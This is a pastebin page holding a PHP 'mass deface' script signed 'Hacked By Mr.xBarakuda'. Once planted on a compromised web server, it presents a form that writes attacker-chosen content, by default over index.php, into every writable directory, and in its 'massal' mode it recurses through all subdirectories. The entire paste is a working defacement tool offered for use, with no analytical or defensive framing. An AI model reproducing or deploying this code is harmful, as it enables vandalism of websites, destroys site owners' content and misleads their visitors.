Advertisement
Guest User

Untitled

a guest
Jun 22nd, 2018
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.14 KB | None | 0 0
  1. <?php
  2. if(isset($_GET['dir'])) {
  3. $dir = $_GET['dir'];
  4. chdir($dir);
  5. } else {
  6. $dir = getcwd();
  7. }
  8. function sabun_massal($dir,$namafile,$isi_script) {
  9. if(is_writable($dir)) {
  10. $dira = scandir($dir);
  11. foreach($dira as $dirb) {
  12. $dirc = "$dir/$dirb";
  13. $lokasi = $dirc.'/'.$namafile;
  14. if($dirb === '.') {
  15. file_put_contents($lokasi, $isi_script);
  16. } elseif($dirb === '..') {
  17. file_put_contents($lokasi, $isi_script);
  18. } else {
  19. if(is_dir($dirc)) {
  20. if(is_writable($dirc)) {
  21. echo "[<font color=lime>DONE</font>] $lokasi<br>";
  22. file_put_contents($lokasi, $isi_script);
  23. $idx = sabun_massal($dirc,$namafile,$isi_script);
  24. }
  25. }
  26. }
  27. }
  28. }
  29. }
  30. function sabun_biasa($dir,$namafile,$isi_script) {
  31. if(is_writable($dir)) {
  32. $dira = scandir($dir);
  33. foreach($dira as $dirb) {
  34. $dirc = "$dir/$dirb";
  35. $lokasi = $dirc.'/'.$namafile;
  36. if($dirb === '.') {
  37. file_put_contents($lokasi, $isi_script);
  38. } elseif($dirb === '..') {
  39. file_put_contents($lokasi, $isi_script);
  40. } else {
  41. if(is_dir($dirc)) {
  42. if(is_writable($dirc)) {
  43. echo "[<font color=lime>DONE</font>] $dirb/$namafile<br>";
  44. file_put_contents($lokasi, $isi_script);
  45. }
  46. }
  47. }
  48. }
  49. }
  50. }
  51. if($_POST['start']) {
  52. if($_POST['tipe_sabun'] == 'mahal') {
  53. echo "<div style='margin: 5px auto; padding: 5px'>";
  54. sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  55. echo "</div>";
  56. } elseif($_POST['tipe_sabun'] == 'murah') {
  57. echo "<div style='margin: 5px auto; padding: 5px'>";
  58. sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  59. echo "</div>";
  60. }
  61. } else {
  62. echo "<center>";
  63. echo "<form method='post'>
  64. <font style='text-decoration: underline;'>Tipe Sabun:</font><br>
  65. <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
  66. <font style='text-decoration: underline;'>Folder:</font><br>
  67. <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  68. <font style='text-decoration: underline;'>Filename:</font><br>
  69. <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
  70. <font style='text-decoration: underline;'>Index File:</font><br>
  71. <textarea name='script' style='width: 450px; height: 200px;'>Hacked By Mr.xBarakuda</textarea><br>
  72. <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  73. </form></center>";
  74. }
  75. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement